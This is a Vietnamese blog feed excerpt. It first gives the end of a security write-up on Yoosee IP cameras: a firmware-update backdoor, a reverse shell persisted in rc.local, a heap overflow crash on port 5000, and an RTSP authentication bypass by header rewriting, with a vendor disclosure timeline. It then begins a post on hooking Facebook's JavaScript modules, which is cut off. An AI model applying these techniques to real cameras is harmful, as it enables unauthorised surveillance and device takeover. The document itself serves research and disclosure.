<p>Sau khi hiểu ra vấn đề thì mình có build/code ra một số file sau:</p>
<ul>
<li><p><strong>rsa_dec</strong> (modified): Dùng để extract seed từ file update và private key.</p>
</li>
<li><p><strong>randgen</strong>: Dùng để gen ra dãy số random từ seed.</p>
</li>
<li><p><strong>fileparser.py</strong>: Gọi là fileparser vì tưởng ban đầu của mình là parse file update này ra để xử lý tuy nhiên mình đã code luôn nó để pack code backdoor vào file update có sẵn :)).</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629020775/ddbe4f8e-f598-4399-869d-dc9676f5eee5.png" alt /></p>
<p>Đây là source code của file <strong>fileparser.py</strong> mà mình viết:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629023931/163d203d-7180-4fb8-a072-134893c1050b.png" alt /></p>
<h2 id="heading-pwned">Pwned</h2>
<p>Việc còn lại của mình lúc này đó là ném file update mới này vào thẻ nhớ sau đó cắm vào thiết bị, bật lên đồng thời giữ nút reset trong 2-3s.</p>
<p>Kết quả:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629027652/421702ab-3200-45ec-8be2-1470081b2e84.png" alt /></p>
<h2 id="heading-oops">Oops...</h2>
<p>Vài hôm sau khi backdoor được thiết bị thì mình có thử ngồi cắm lại chân UART thì phát hiện ra các chân này có đủ read/write, sau khi cắm xong thì mình có vào được shell với credentials là root/&lt;no password&gt; =)).</p>
<p>Một bài học cho việc test không cẩn thận phải trả giá bằng việc mất thời gian và đi con đường vòng. Tuy nhiên mình vẫn rất vui do trước đó không tìm được cách nào khác nên đã phải thử thách và học được nhiều điều khi chọn con đường vòng này.</p>
<h2 id="heading-persistent-access">Persistent access</h2>
<p>Sau khi pwn được thiết bị, mình bắt đầu patch lại file <strong>app.bin</strong> trước đó để đặt reverse shell vào <strong>/etc/init.d/rc.local</strong>, vì script này sẽ được chạy trong quá trình boot nên mỗi khi thiết bị khởi động là bọn mình đều có reverse shell.</p>
<p>Mình và Trung bắt đầu đẩy một số static binary lên thiết bị như <strong>gdbserver</strong>, <strong>busybox</strong> để có thể debug trực tiếp các binary có sẵn của thiết bị.</p>
<h2 id="heading-co-shell-thi-lam-gi-tu-goc-nhin-cua-trung">Có shell thì làm gì? (từ góc nhìn của Trung)</h2>
<p>Việc đầu tiên khi có shell mình làm là xác định các nơi mà con camera này nhận input từ người dùng. Để làm việc này, mình đã copy netstat từ ngoài vào để chạy và xem camera này đang listen trên những port nào.</p>
<p><img src="https://lh5.googleusercontent.com/nDC_AJiGBvDUG9p2KMrWx9MfmjFE7sKc4gvJTQ6akmeG8V2cJqGW6E3G_tpX1JpjE0Br98AOvFh6F4Gc5iK9YsqbMjyo-sdMrXzWrYGRJotd3ZttCwIcYnqS0Glw1EN1umPI0SSXjRzngh_ZIw" alt /></p>
<p>Có nhiều port đang được lắng nghe, trong đó port 5000 nằm ở đầu tiên, vì vậy mình quyết định đi tìm đoạn code thực hiện việc xử lý dữ liệu tới port 5000. netstat còn báo rằng program đang sử dụng port 5000 là “ipc”, nên mình chỉ việc tìm file này, decompile nó và bắt đầu tìm đoạn code đó.</p>
<p>Khi decompile file “ipc”, mình khá sốc vì hàm main của nó rất lớn, decompile mất rất nhiều thời gian. Mình có cảm giác như anh lập trình viên đã viết tất cả mọi thứ vào trong hàm main vậy. Với đoạn code lớn như vậy, việc tìm đoạn code xử lý port 5000 gần như là mò kim đáy bể. Vì mình đã từng lập trình socket bằng C, nên mình biết để listen trên port nào đó, thì trong C phải dùng hàm “bind”.</p>
<p><img src="https://lh4.googleusercontent.com/5rV8oeNTQJr4xqrkrAb9SkrO60LJpA0LXdygkpE961INcKYHor9g2O-tgWwoA_FdxuoOBAc0nfungGZNxcK0jkHRwmPVrjTalLWBxQqzmJDTKgOqiNq3jfsuwnEgpPxDEBIG7zr7Vw_bFRm8cA" alt /></p>
<p>Mình dùng chức năng cross-reference của IDA thì thấy chỉ có 28 lời gọi tới hàm bind, giờ mình chỉ việc check từng chỗ là được.</p>
<p><img src="https://lh4.googleusercontent.com/vJM60nzj3ESCPrYORUu8Zj-D6y4Mag3zaxtcp-ULefVPjRItbcvQsm_p_znx_YdqgZy70ybmIR5Wek58VD-umdXwBMUbIWl7qCi8PiZmSgu-7jPnCP1TwPCohY-oTDMdQAsIWyj8_7J9nTbcAA" alt /></p>
<p>Cuối cùng mình đã tìm được hàm ở <strong>0x43D2C</strong>. Ở trên có đoạn <strong>“addr.sin_port = 0x8813”</strong>, 0x8813 chính là dạng big endian của số 0x1388, mà 0x1388 chính là 5000. Vậy đây chính xác là đoạn code lắng nghe trên port 5000. Sau đó mình chỉ việc follow hàm này để xem nó xử lý gì với dữ liệu nhận được trên port 5000.</p>
<h2 id="heading-lo-hong-dau-tien-heap-overflow-tu-goc-nhin-cua-trung">Lỗ hổng đầu tiên: Heap overflow (từ góc nhìn của Trung)</h2>
<p>Không lâu sau khi bọn mình có thể bắt đầu debug trên thiết bị, Trung tìm ra lỗ hổng đầu tiên. Một lỗi heap overflow gây crash khiến cho thiết bị tự khởi động lại và không ghi lại được bất cứ hình ảnh nào trong khoảng thời gian này.</p>
<p>Dưới đây là phần trình bày lỗ hổng từ góc nhìn của Trung:</p>
<p>Lỗ hổng nằm trong hàm ở <strong>0x4706C</strong></p>
<p><img src="https://lh5.googleusercontent.com/3Qh3zgVs4xgf5TtuS8sR3m4TRb7gYtlJJeVhb2zADaUAkCOWu-q5WTS6UjzDGMaQ7IdZQewovsBY2tsJyrDoQ1n9MVi4sRmcB9syM8OcBA52NJNAGvbxK7AsPtRna6iVDeOmCl-py9vbwvn5ew" alt /></p>
<p>Ở hình trên, biến buf được cấp phát <strong>0x2000</strong> byte. Với lượng lớn dữ liệu như này, thông thường khi code socket C, người ta thường hay dùng một vòng lặp while (true), mỗi vòng lặp sẽ nhận một lượng nhỏ dữ liệu, tới khi nào đủ 0x2000 byte (hoặc khi không còn dữ liệu để nhận nữa) thì dừng. Tuy nhiên ở hình trên, thay vì kiểm tra <strong>“đủ 0x2000 byte thì dừng”</strong>, anh lập trình viên đã kiểm tra <strong>“khi nào không nhận được dữ liệu nữa thì dừng”</strong>. Từ đó dẫn đến việc user có thể gửi nhiều hơn 0x2000 byte, trong khi độ lớn của buffer chỉ là 0x2000 -&gt; <strong>heap buffer overflow</strong>.<br />Code exploit:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629030239/78dd6839-c17b-4ccb-adda-e6750dfb97fa.png" alt /></p>
<p>Đoạn code trên gửi 0x3000 byte tới port 5000 của camera. Nó sẽ ghi đè lên dữ liệu quan trọng trên heap của camera và khả năng cao sẽ làm camera bị crash.</p>
<p>Ngay lập tức bọn mình setup và làm một chiếc video demo lỗ hổng này:</p>
<h2 id="heading-lo-hong-thu-hai-unauthenticated-rtsp-stream-access-andamp-control">Lỗ hổng thứ hai: Unauthenticated RTSP stream access &amp; control</h2>
<p>Khi phân tích source code bằng IDA, mình thấy có hàm <strong>sub_ADB84</strong> có một flow check loằng ngoằng và đồ sộ</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629032738/af29fa80-887d-42f4-937c-8f520d59c774.png" alt /></p>
<p>Flow graph của <strong>sub_ADB84</strong>, có lẽ phải chụp thế này mới thấy được hết độ phức tạp của nó</p>
<p>Đọc qua các block trong hàm, mình thấy chúng chứa rất nhiều từ khoá liên quan tới giao thức RTSP</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629034916/af904840-b235-4465-9860-c57b249484c5.png" alt /></p>
<p>Các từ khoá RTSP, CSeq</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629037270/5412cbd9-b905-41aa-b7c1-d768511a2886.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629039554/151a6365-c27f-43af-85e9-9fc013ed53e6.png" alt /></p>
<p>OPTIONS, DESCRIBE, SETUP, TEARDOWN,...</p>
<p>Google search nhanh với từ khoá "RTSP methods", ta có thể thấy rõ đây là các command keywords rất đặc trưng của giao thức này:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629042375/09a6e8b6-55a3-4b1f-b2d5-be396263032d.png" alt /></p>
<p>Mình search cách xem stream RTSP camera Yoosee thì biết nó có dạng:</p>
<pre><code class="lang-plaintext">rtsp://admin:&lt;password&gt;@&lt;ip&gt;/onvif1
</code></pre>
<p>Có thể bỏ đường dẫn này vào VLC như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629045181/0119e829-b5b5-47fd-994e-91592ba9376f.png" alt /></p>
<p>Vì lúc này mình đã biết rằng dùng VLC có thể xem được video stream từ camera tuy nhiên lại chưa rõ về cấu trúc của 1 gói tin RTSP, nên mình viết một đoạn code để proxy giữa VLC và cam. Vì các gói tin RTSP ở dạng plaintext nên ở phía proxy mình có thể thoải mái log cũng như patch các gói tin qua lại giữa 2 bên.</p>
<p>Ý tưởng của mình là thay vì add đường dẫn RTSP như trên vào VLC thì mình sẽ sử dụng đường dẫn sau để gửi tới proxy:</p>
<pre><code class="lang-plaintext">rtsp://127.0.0.1:554?ip=&lt;camera ip&gt;
</code></pre>
<p>Sau đó ở phía proxy sẽ tạo 1 socket connection khác tới <strong>&lt;camera ip&gt;</strong> và chuyển tiếp packet body tới cam sau đó nhận response từ cam và phản hồi lại cho VLC. Phương pháp này khá giống với cách tấn công man in the middle, tuy nhiên ở đây phía proxy không intercept connection này mà nó được chọn để chuyển tiếp các gói tin luôn.</p>
<p>Đoạn code server của mình lúc này trông như sau (đã lược đi các hàm patch rườm rà):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629047330/4ef8a435-c743-4d13-b8cc-4767d1086f4c.png" alt /></p>
<p>Vì lúc này đã có thể log và patch các request/response khá tiện rồi nên mình hướng tới tìm lỗi logic trong hàm <strong>sub_ADB84</strong> ở trên. Mình đặt ra một số câu hỏi như sau:</p>
<ul>
<li><p>Có những tác vụ cần auth (authentication/authorization), vậy chúng được coi là auth dựa trên những yếu tố gì?</p>
</li>
<li><p>Có những tác vụ không cần auth, vậy điều kiện nào để xác định một tác vụ như vậy?</p>
</li>
<li><p>Có cách nào "lừa" thiết bị rằng một tác vụ không cần auth trong khi nó có cần auth không?</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629050705/8729544e-088b-4d1b-95d7-b7221a09ec89.png" alt /></p>
<p>Đây là flow check auth, nó sẽ trả về code 401 nếu như check fail</p>
<p>Đọc lại phần này trong code thì mình thấy khá liên quan. Trong khi đọc request log mình phát hiện ra rằng <strong>DESCRIBE</strong> là một tác vụ không cần auth và chắc hẳn đó cũng là một phần lý do nó được check riêng ở chỗ này:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629052881/fca18cd6-13cc-4b9e-9c3a-fadc6e522968.png" alt /></p>
<p>Thật sự là viết đến đoạn này của chiếc blog thì mình đã ngồi nghĩ nát óc xem hồi đấy mình đã suy luận và khai thác lỗ hổng ở chỗ này ra sao. Mình chỉ nhớ rằng hồi đấy mình khai thác phần này cũng bằng tư duy logic từ các câu hỏi mình đặt ra ở trên, cộng với một số kinh nghiệm mình có được khi khai thác các lỗ hổng về authentication khi mình nghiên cứu web API.</p>
<p>Về cơ bản thì mình có một số nhận định như thế này:</p>
<ul>
<li><p>Khi user đã authenticated thì server sẽ phải trả về một thông tin gì đó để lưu giữ phiên đăng nhập của user. Với web API thì đó thường là cookie, còn ở đây là header "<strong>Session"</strong>.</p>
</li>
<li><p>Ngoài kiểm tra phiên đăng nhập ra thì server có thể check một số thông tin khác trong headers. Ví dụ như ở đoạn code trong ảnh trên có vẻ như thiết bị đang kiểm tra một số thông tin với các từ khoá "<strong>username", "realm", "nonce"</strong>.</p>
</li>
</ul>
<p>Khi kiểm thử các ứng dụng web mặc dù không có source code nhưng ta vẫn có thể biết được server check những header nào bằng cách thử loại bỏ từng header cho tới khi có lỗi xảy ra. Và đó cũng chính là cách mà mình đã thử.</p>
<p>Sau quá trình thử thêm, bớt headers, mình craft được đoạn code sau để patch request body và qua mặt được authentication flow trên thiết bị:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629055720/41f5d40f-60ef-4988-9d0b-d2b9b58513d2.png" alt /></p>
<p>Ở đây mình đã check và thêm header <strong>"Accept"</strong> và <strong>"Authorization"</strong> vào tất cả các request, cũng như xoá đi header <strong>"Session"</strong>.</p>
<p>Ngoài ra mình còn phát hiện thêm tác vụ <strong>"SET_PARAMETER"</strong> cho phép điều khiển hướng quay của thiết bị mà không cần chỉnh sửa bất cứ header nào.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629058575/3637d178-5595-4378-b50d-9c78274ef240.png" alt /></p>
<p>Một phần đoạn mã nguồn điều khiển hướng thiết bị</p>
<p>Và cũng như đối với lỗ hổng đầu tiên, mình đã làm ngay một chiếc demo cho nó:</p>
<h2 id="heading-pocsource-code">PoC/Source code</h2>
<p>Mã nguồn của tất cả mọi nội dung mình trình bày ở trên nằm ở đây:</p>
<p><a target="_blank" href="https://github.com/t-rekttt/yoosee-exploit">GitHub - t-rekttt/yoosee-exploit</a></p>
<p><a target="_blank" href="https://github.com/t-rekttt/yoosee-exploit">Contribute to t-rekttt/yoosee-exploit development by creating an account on GitHub.</a></p>
<p><img src="https://github.com/fluidicon.png" alt /></p>
<p><a target="_blank" href="https://github.com/t-rekttt/yoosee-exploit">GitHubt-rekttt</a></p>
<p><img src="https://opengraph.githubassets.com/b57ec9a6e0f3c62084b120cffa6cfca1c0877241fcf2827c48caecfb3e25f0f0/t-rekttt/yoosee-exploit" alt /></p>
<h2 id="heading-report-timeline">Report timeline</h2>
<ul>
<li><p>10/3/2022: Gửi email thông báo cho vendor</p>
</li>
<li><p>14/3/2022: Vendor yêu cầu thêm thông tin</p>
</li>
<li><p>14/3/2022: Gửi demo video và timeline cho vendor</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629061299/f0321d64-5c61-41b2-a132-53285660d322.png" alt /></p>
<ul>
<li>16/3/2022: Feedback từ vendor nói rằng các tính năng này là bình thường</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629063789/b2ac679d-49e9-45d9-ab60-467651837f56.png" alt /></p>
<ul>
<li>16/3/2022: Giải thích thêm về lỗ hổng</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629066316/fc50bc0d-a8bc-4d37-ba4b-73e8c29162db.png" alt /></p>
<ul>
<li>17/3/2022: Feedback từ vendor (vendor vẫn không hiểu cách tiếp cận của bọn mình)</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629068150/88d17808-87ad-425c-aae9-fb770112c34f.png" alt /></p>
<ul>
<li>17/6/2022: Publish writeup</li>
</ul>
<h2 id="heading-credits-andamp-thanks-to">Credits &amp; thanks to</h2>
<ul>
<li><p>Nguyễn Quốc Trung (@xikhud): Teammate cùng đồng hành nghiên cứu. Đồng tác giả bài blog này.</p>
</li>
<li><p>Anh Trần Phạm Thành (@radcet): Hỗ trợ và tư vấn trong suốt quá trình nghiên cứu. Previewer.</p>
</li>
<li><p>Anh Nguyễn Hồng Phúc (@xnohat): Tư vấn, cung cấp một số công cụ dịch ngược/backdoor</p>
</li>
<li><p>Anh Vũ Huy Hưng (@James): Hỗ trợ sách &amp; các khoá học về hardware hacking</p>
</li>
<li><p>Anh Mạnh Tuấn (@Juno Okyo): Previewer</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Modding Facebook website [Phần 1]]]></title><description><![CDATA[Unsend Recall for Messenger — Recalling removed messages in Facebook Messenger
Unsend Recall for Messenger is a Chrome extension that allows you to see the contents of messages that were removed on Facebook Messenger.

MediumAlec Garcia

Tầm hơn 2 nă...]]></description><link>https://thao.pw/modding-facebook</link><guid isPermaLink="true">https://thao.pw/modding-facebook</guid><dc:creator><![CDATA[T-Rekt]]></dc:creator><pubDate>Sat, 31 Jul 2021 11:53:29 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1674629432132/986c6878-25cd-416f-8532-75e50efc8ea0.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<aside></aside>

<p><a target="_blank" href="https://medium.com/@calialec/unsend-recall-for-messenger-recalling-removed-messages-in-facebook-messenger-c2e81b164e28">Unsend Recall for Messenger — Recalling removed messages in Facebook Messenger</a></p>
<p><a target="_blank" href="https://medium.com/@calialec/unsend-recall-for-messenger-recalling-removed-messages-in-facebook-messenger-c2e81b164e28">Unsend Recall for Messenger is a Chrome extension that allows you to see the contents of messages that were removed on Facebook Messenger.</a></p>
<p><img src="https://cdn-static-1.medium.com/_/fp/icons/Medium-Avatar-500x500.svg" alt /></p>
<p><a target="_blank" href="https://medium.com/@calialec/unsend-recall-for-messenger-recalling-removed-messages-in-facebook-messenger-c2e81b164e28">MediumAlec Garcia</a></p>
<p><img src="https://miro.medium.com/max/1200/1*pStQNT-MnTWBuhvW6s2Tkg.png" alt /></p>
<p>Tầm hơn 2 năm trước tình cờ mình đọc được bài blog này nói về quá trình nghiên cứu và tạo ra một extension giúp lưu và xem được các tin nhắn đã bị xoá trên Facebook bản web.</p>
<p>Bài blog này thú vị ở chỗ nó dùng một kiểu kĩ thuật khá lạ, thay vì bắt các event từ DOM hay window thì tác giả sử dụng module được define từ code Js của FB. Nói đơn giản thì kĩ thuật này sử dụng luôn cơ chế mà Facebook định nghĩa ra để xử lý các sự kiện về tin nhắn chứ không cần nghiên cứu thêm một cơ chế đặc biệt nào hết. Điều đó khiến cho giải pháp này vừa ngắn gọn lại vừa có khả năng tương thích tốt.</p>
<p>Ngoài bài blog nói trên ra thì còn 1 bài blog nữa thậm chí còn giải thích chi tiết về cơ chế define/require module của Facebook vốn dựa trên Async Module Definition - AMD:</p>
<p><a target="_blank" href="https://kirszenberg.com/facebook-sixth-sense">A Facebook Sixth Sense · Alexandre Kirszenberg</a></p>
<p><a target="_blank" href="https://kirszenberg.com/facebook-sixth-sense">I use Facebook every day — probably too much for my own good — and I’ve always been tempted to dive into their internals. That is, the…</a></p>
<p><img src="https://kirszenberg.com/icons/icon-512x512.png?v=10a4127fed67b4e26fdd813b27bf8297" alt /></p>
<p><a target="_blank" href="https://kirszenberg.com/facebook-sixth-sense">Alexandre KirszenbergAlexandre Kirszenberg</a></p>
<p><img src="https://kirszenberg.comundefined" alt /></p>
<p>Một đặc điểm chung của các sản phẩm được đề cập trong 2 bài blog này đó chính là chúng đều bị Facebook yêu cầu xoá bỏ không rõ lý do. Mình đoán việc hiểu cách sử dụng các module này cũng giống như có trong tay một con dao sắc đe doạ tới "quyền riêng tư" trên Facebook.Vì từng dành nhiều thời gian debug các web API cũng như code Js trên web của Facebook nên mình cực thích ý tưởng này và đã thử sử dụng nó để mod một số tính năng trên Facebook mà mình nghĩ là thú vị. Tuy nhiên rào cản lớn nhất đó là không phải lúc nào cũng có thể tìm được ngay một event module như thế này để sử dụng, một số module React component nếu inject được vào thì có thể chỉnh sửa ngay thông tin được hiển thị ra tuy nhiên lại rất khó để override được (immutable).</p>
<p>Giải pháp hoàn hảo nhất trong đầu mình lúc này là override ngay từ hàm define từ khi trang web được load lên, nhưng với hiểu biết và khả năng sử dụng Js của mình lúc ấy thì việc này là vô cùng khó.  Mãi cho tới tận bây giờ sau nhiều lần, thử nhiều cách và thất bại sml, mình mới hoàn thiện được giải pháp ấy, theo mình giải pháp này có thể dùng để mod được bất kì module nào trên web Facebook tuỳ ý, giúp mình tạo ra các tính năng tiện lợi hơn theo nhu cầu (lọc ads, lọc comment, tự động thông tin,...).</p>
<p>Sản phẩm nho nhỏ đầu tiên mình làm ra để test giả thuyết này là đoạn userscript để gửi tin nhắn tàng hình, được giới thiệu ở bài viết  này:</p>
<p><a target="_blank" href="https://www.facebook.com/groups/j2team.community/posts/1607769529555161">https://www.facebook.com/groups/j2team.community/posts/1607769529555161</a></p>
<p>Vì vậy mình viết bài blog này nhằm chia sẻ về quá trình nghiên cứu và phát triển giải pháp này, kì vọng duy nhất của mình đấy là nhỡ sau này có cần dùng lại thì mong là không quên hết vì nó khó sml :)).</p>
<h2 id="heading-khoi-dau">Khởi đầu</h2>
<p>Mình sẽ bắt đầu bằng việc giải thích các kiến thức học được từ 2 bài blog trên.</p>
<h3 id="heading-facebook-sixth-sense">Facebook Sixth Sense</h3>
<p>Ở bài blog này tác giả có <strong>2 mục đích chính</strong> cần đạt được khi nghiên cứu mã nguồn của Facebook web:</p>
<ul>
<li><p><strong>Bắt sự kiện "typing" tin nhắn (chính là khi Facebook hiển thị ba dấu chấm trong inbox của một người khi người đó đang soạn tin gửi cho bạn) và lưu lại</strong></p>
</li>
<li><p><strong>Hiển thị các sự kiện typing đã được lưu</strong></p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628862128/92e1771a-5cc0-4ce4-b4dc-7e344be83840.png" alt /></p>
<p>Một bức ảnh demo giao diện của extension "Facebook Sixth Sense"</p>
<p>Phần hiển thị của extension này khá dễ, chỉ là một popup lấy các thông tin từ localstorage được lưu lại từ trước và hiển thị ra, chỉ liên quan tới các API của chrome extension chứ không liên quan gì tới Facebook web, nên mình  sẽ bỏ qua phần này.</p>
<p>Phần quan trọng nhất của vấn đề ở đây đó là làm sao bắt được sự kiện "typing" tin nhắn của một người dùng bất kì.</p>
<p>Nghiên cứu bắt đầu bằng việc tác giả nhận thấy có một response gửi về khi Facebook web polling (ở thời điểm bài blog này được viết năm 2016, Facebook vẫn còn dùng kĩ thuật polling để nhận các update mới từ server, hiện tại họ đã chuyển sang MQTT nên hầu hết các data bạn nhìn thấy khi capture request đã được encode, không có nhiều raw data để đọc như xưa và một số kĩ thuật sẽ khó để áp dụng hơn). Đây là một nhận định hay để khởi đầu, vì một khi đã tìm được response, chắc chắn sẽ có một đoạn code nào đấy chịu trách nhiệm cho việc request những thông tin này.</p>
<p>Phần tiếp theo có thể coi như phần giải thích cho code base của Facebook. Đây là những kiến thức đầu tiên mà mình học được khi mình bắt đầu nghiên cứu tới mảng này, nó giải thích cho việc tại sao ta có thể override một module bất kì trên trang Facebook web.</p>
<p><strong>Facebook sử dụng framework React</strong>. Không ngạc nhiên lắm vì React chính là con đẻ của họ mà. Dòng này chỉ mang tính chất thông báo tránh cho bạn khỏi bỡ ngỡ khi thấy mình require React ra để demo ở dưới thôi.</p>
<p>Khi inspect một file code Js của Facebook (bạn nên search file nào có từ khoá "__d" vì những file này chứa definition của các module, tránh nghiên cứu những đoạn code không liên quan tốn thời gian), chúng ta sẽ có một mớ bòng bong code đại loại như thế này.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628864618/6143380e-625f-4fd1-a058-6f5c003905a8.png" alt /></p>
<p>Đoạn code đã được minify của Facebook</p>
<p><strong>Hầu hết các trang web lớn đều minify code Javascript của họ để giảm dung lượng, giảm chi phí băng thông</strong>. Những file code này hoàn toàn không phải dành cho con người đọc, nên đừng hi vọng chúng ta sẽ có những dòng code ngay ngắn đẹp đẽ :v.</p>
<p>Sau khi beautify code bằng nút có biểu tượng <strong>{}</strong> như phần cuối bức ảnh, ta được một đoạn code như thế này:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628867726/4ff9d736-a0b0-4a70-bffe-c78150693742.png" alt /></p>
<p>Đoạn code sau khi chúng ta beautify</p>
<p>Bạn nhìn thấy hàm "__d" không? Đây chính là cú pháp để khai báo một module trên web Facebook. Một hàm khai báo module sẽ có dạng đại loại như thế này:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// a, b, c, d, e, f: Some factory variables for requiring &amp; exporing modules, I don't clearly understand yet</span>
__d(<span class="hljs-string">"ModuleName"</span>, [<span class="hljs-string">"Dependency1"</span>, <span class="hljs-string">"Dependency2"</span>], <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">a, b, c, d, e, f</span>) </span>{
<span class="hljs-comment">//Do something</span>
});
</code></pre>
<p>Tác giả giải thích rằng đây là đoạn code của <strong>Async Module Definition</strong> - Gọi tắt là AMD (không phải AMD CPU đâu nhé :v). Đây là một giải pháp định nghĩa module theo cách bất đồng bộ. Hiểu đơn giản là khi ta mở web Facebook, nó sẽ nạp vào rất nhiều module chịu trách nhiệm cho từng công việc riêng, tuy nhiên các module này có thể phụ thuộc lẫn nhau. Theo cách tư duy thông thường ta sẽ xử lý module nào không bị phụ thuộc trước (giống như khi chạy tiếp sức, mỗi người phải phụ thuộc vào người chạy trước, tuy nhiên quan hệ trong này có thể nhiều hơn một-một). Nhưng vì Javascript hỗ trợ xử lý bất đồng bộ nên cách để xử lý ít tốn thời gian nhất đó là xử lý nhiều module không phụ thuộc cùng một lúc, đây là việc mà AMD được sinh ra để giải quyết. Mình không quá hiểu về phần AMD này nên chỉ cố giải thích được theo khả năng.</p>
<p>Trong tư duy của mình thì đơn giản là mã nguồn của Facebook web được chia ra làm nhiều module và ta có thể chỉnh sửa độc lập trong phạm vi module mà không sợ phá vỡ tính tương thích.</p>
<p>Chúng ta có thể sử dụng các module trên web Facebook bằng 2 hàm là "require" và "requireLazy". Ví dụ:</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">require</span>(<span class="hljs-string">'react'</span>);
</code></pre>
<p>Kết quả:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628869872/848ec0f8-456b-47e7-86f1-0fa1a53ba794.png" alt /></p>
<p>Tuy nhiên hàm "require" này không đảm bảo module đã được khai báo thành công ở thời điểm bạn sử dụng nó. "requireLazy" sẽ an toàn hơn trong trường hợp này:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Callback style</span>
requireLazy([<span class="hljs-string">'react'</span>], <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">react</span>) </span>{
<span class="hljs-built_in">console</span>.log(react)
});
<span class="hljs-comment">// Promise style</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">requireAsync</span>(<span class="hljs-params">modules</span>) </span>{
<span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Promise</span>(<span class="hljs-function"><span class="hljs-params">cb</span> =&gt;</span> requireLazy([modules], cb));
}
requireAsync(<span class="hljs-string">'react'</span>).then(<span class="hljs-built_in">console</span>.log)
</code></pre>
<p>Kết quả:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628872327/da12a954-fecf-485c-adab-36ead309504f.png" alt /></p>
<p>Để biết trên trang có những module gì, ta có thể search bằng từ khoá "__d(". Mình vẫn hay search <strong>__d("ModuleName</strong> để xem module được khai báo ở đâu :v</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628874806/9ffd937b-3f00-4728-8922-7675978eb308.png" alt /></p>
<p>Demo kết quả search của mình. 11739 modules!?</p>
<p>Hãy nhớ, vì mục đích chính của chúng ta là <strong>bắt sự kiện "typing" tin nhắn</strong>, nên nơi đầu tiên chúng ta nên chọn để bắt đầu đó là các module liên quan tới chat.</p>
<p>Vì vậy ở đây tác giả dùng React Dev Tools để inspect vào component trên trang</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628876750/693f330f-b1ad-43ad-b8c5-8e34d676600e.png" alt /></p>
<p>Cụ thể hơn nữa đó là bong bóng "typing". Ở đây ta có thể thấy component với cái tên rất rõ ràng "ChatTypingIndicator"</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628879844/ee85a49e-5554-4bab-975d-ecbe9bf1da3a.png" alt /></p>
<p>Tiếp theo tác giả search dòng chữ <strong>__d('ChatTyping</strong> để tìm kiếm module liên quan. Ở đây ta được 2 kết quả, <strong>ChatTypingIndicator.react.js</strong> và <strong>ChatTypingIndicators.react.js</strong>, chính là thứ chúng ta tìm kiếm. Hãy chú ý rằng nếu trong tên module có phần mở rộng .react, nghĩa là module này export ra một React component.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628882714/74f4af07-ba55-4529-954f-7574cbcf8585.png" alt /></p>
<p>Thực ra React Dev Tools ở hiện tại cho phép nhảy ngay đến phần code tương ứng với component, chúng ta không còn cần phải search code giống như bài viết nữa, tuy nhiên mình sẽ dịch lại nguyên bản theo cách của tác giả. Một số kĩ thuật debugging mình sẽ mô tả thêm ở phần của bài blog thứ 2.</p>
<p>Nếu bạn đã có kinh nghiệm với React, bạn có thể thấy trong đây tên các hàm rất quen thuộc. "componentDidMount" là một trong số đó. Hàm này sẽ được thực thi sau khi component này được nạp vào DOM.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1674628884843/d14f0485-b914-474b-b7ae-63d2b19d8d03.png" alt /></p>
<p>Ta thấy hàm này chứa các đoạn code subscribe vào các sự kiện, nên ta sẽ phân tích hàm này trước.</p>
<p>Đây là đoạn code chúng ta đang quan tâm:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
<span class="hljs-keyword">var</span> k = c(<span class="hljs-string">"MercuryThreadInformer"</span>).getForFBID(<span class="hljs-built_in">this</span>.props.viewer),
l = c(<span class="hljs-string">"MercuryTypingReceiver"</span>).getForFBID(<span class="hljs-built_in">this</span>.props.viewer);
<span class="hljs-built_in">this</span>._subscriptions = <span class="hljs-keyword">new</span> (c(<span class="hljs-string">"SubscriptionsHandler"</span>))();
<span class="hljs-built_in">this</span>._subscriptions.addSubscriptions(
